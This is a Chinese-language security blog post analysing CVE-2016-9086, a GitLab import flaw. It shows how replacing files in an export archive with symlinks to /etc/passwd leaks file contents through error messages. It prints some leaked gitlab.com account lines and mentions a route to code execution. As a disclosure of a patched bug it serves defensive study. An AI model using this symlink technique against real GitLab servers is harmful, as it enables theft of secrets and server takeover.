MENU

GitLab application server 文件读取导致命令执行漏洞

November 4, 2016 • Security

漏洞信息

厂商:GitLab

CVE:CVE-2016-9086

类型:信息披露漏洞

等级:高危漏洞

影响:

  • -8.13.0~8.13.2
  • -8.12.0~8.12.7
  • -8.11.0~8.11.9
  • -8.10.0~8.10.12
  • -8.9.0~8.9.11

漏洞概述

GitLab CE/EE的8.9、8.10、8.11、8.12以及8.13版本中存在任意文件读取漏洞,攻击者或可利用这个漏洞来获取应用程序中敏感文件的访问权。在获取到这些机密数据之后,攻击者将可以通过执行恶意命令来访问应用程序服务器。

在8.13版本中攻击者完全可以在无需获得管理员权限的情况下利用这个漏洞(CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H)。在所有版本的攻击场景中,GitLab实例需要导入并启用GitLab的输出文件功能。

漏洞分析

GitLab的输出上传功能中存在一个漏洞,这个漏洞将允许攻击者读取GitLab实例中的任意文件,这个漏洞主要是由JSON.parse中的错误操作而导致的,因为JSON.parse中有可能会包含或引用GitLab导出文件的符号链接。当我准备开始对这个功能进行分析之前,我创建了一个演示仓库,并且还通过项目的管理员面板导出了这个GitLab实例。当我们创建了一个新的项目之后,我们就可以直接导入这些GitLab文件了。演示站点为https://gitlab.com/projects/new(点击”GitLab导出”)。通常情况下,一个简单的GitLab导出文件一般包含下列文件:

export $ ls -lash
total 48
 8 -rw-r--r--@   1 jobert  staff     5B Oct 25 19:52 VERSION
 8 -rw-r--r--@   1 jobert  staff   341B Oct 25 19:53 project.bundle
 8 lrwxr-xr-x    1 jobert  staff    11B Oct 25 20:43 project.json

当我们再次加载之前导出的GitLab文件时,将会发生以下几件事情。首先,系统会等待文件写入磁盘(针对大型仓库而言);其次,系统会根据VERSION文件来检测导入项目的版本;最后,GitLab会根据project.json文件来创建一个新的Project实例。

这里的第一步其实并不重要,所以我们现在直接来看一看第二步中系统所执行的相关代码(Gitlab::ImportExport::VersionChecker,第12-18行):

def check!
  version = File.open(version_file, &:readline)
  verify_version!(version)
rescue => e
  shared.error(e)
  false
end

请注意第13行,它将会打开文件并调用readline方法,而这个方法将会返回稳健的第一行数据。第16行代码会捕获系统运行过程中的所有异常,并将异常信息压入errors栈。所有的这些错误都将被发送至前端。接下来,让我们看一看该文件中的第27-31行代码:

if Gem::Version.new(version) != Gem::Version.new(Gitlab::ImportExport.version)
  raise Gitlab::ImportExport::Error.new("Import version mismatch: Required #{Gitlab::ImportExport.version} but was #{version}")
else
  true
end

这也就意味着,如果文件版本不正确的话,系统会返回一个异常,异常信息中会包含这份GitLab导出文件的版本信息。我们解压GitLab的导出文件,用一个符号链接替换其中的VERSION文件,然后再重新进行压缩。tar文件的结构如下所示:

export $ ls -lash
 8 lrwxr-xr-x    1 jobert  staff    11B Oct 25 20:43 VERSION -> /etc/passwd
 8 -rw-r--r--@   1 jobert  staff   341B Oct 25 19:53 project.bundle
 8 lrwxr-xr-x    1 jobert  staff    11B Oct 25 20:43 project.json

在创建好了新的GitLab导出文件之后(在导出目录中执行tar -czvf test.tar.gz),我们就可以加载这份新的GitLab文件了。加载成功之后,因为文件存在版本错误,所以系统将会抛出一个异常,而GitLab实例将会返回第一行错误信息:

Screen_Shot_2016-10-25_at_19.28.51.png

但是,这种方法只能读取某个文件的第一行数据。这的确很有意思,但这肯定不是我们想要的,我们想要读取文件的完整内容。于是我们继续分析,看看是否能找到读取完整文件的方法。正如我之前所提到的,导入过程中的第三步就是创建一个新的Project实例。此时,下列代码将会被执行(Gitlab::ImportExport::ProjectTreeRestorer,第11-22行):

def restore
  json = IO.read(@path)
  tree_hash = ActiveSupport::JSON.decode(json)
  project_members = tree_hash.delete('project_members')
  ActiveRecord::Base.no_touching do
    create_relations
  end
rescue => e
  shared.error(e)
  false
end

这段代码采用的结构与负责进行版本检测的代码结构非常相似,第13-18行代码可以捕获异常,然后将错误信息压入errors栈。ActiveSupport会使用JSON.parse来解码JSON数据,如果解码失败的话,系统会将待解码的字符串包含在错误信息中一起返回。这也就意味着,如果我们可以让解码器抛出一个异常的话,我们就可以读取稳健的内容了。其实也并不难,先来看看下面给出的这个文件结构:

export $ ls -lash
 8 -rw-r--r--@   1 jobert  staff    11B Oct 25 20:43 VERSION
 8 -rw-r--r--@   1 jobert  staff   341B Oct 25 19:53 project.bundle
 8 lrwxr-xr-x    1 jobert  staff    11B Oct 25 20:43 project.json -> /etc/passwd

在这个例子中,project.json文件是一个指向/etc/passwd的符号链接。第14行代码可以调用IO.read方法来读取文件内容。很明显,/etc/passwd文件中并不包含有效的JSON数据。因此,系统肯定会抛出一个异常,而异常信息中将会包含/etc/passwd文件的内容。使用tar来对文件进行压缩,然后准备上传。文件导入成功之后,我们就可以从错误信息中获取链接文件的内容了:

Screen_Shot_2016-10-25_at_20.55.36.png

需要声明的是,这并不是我自己的/etc/passwd文件。下面给出的是gitlab.com中/etc/passwd文件的最后五行数据:

alejandro:x:1117:1117::/home/alejandro:/bin/bash
prometheus:x:999:999::/opt/prometheus:/bin/false
gitlab-monitor:x:998:998::/opt/gitlab-monitor:/bin/false
postgres:x:116:121:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
brian:x:1118:1118::/home/brian:/bin/bash

因此,攻击者同样可以利用这种方法来读取GitLab中Rails项目的机密文件。需要注意的是,这个问题也将导致RCE漏洞。除此之外,攻击者甚至还可以通过这个漏洞拿到GitLab的shell,并访问所有的代码仓库。

参考

Tags: GitLab
Archives QR Code
QR Code for this page
Tipping QR Code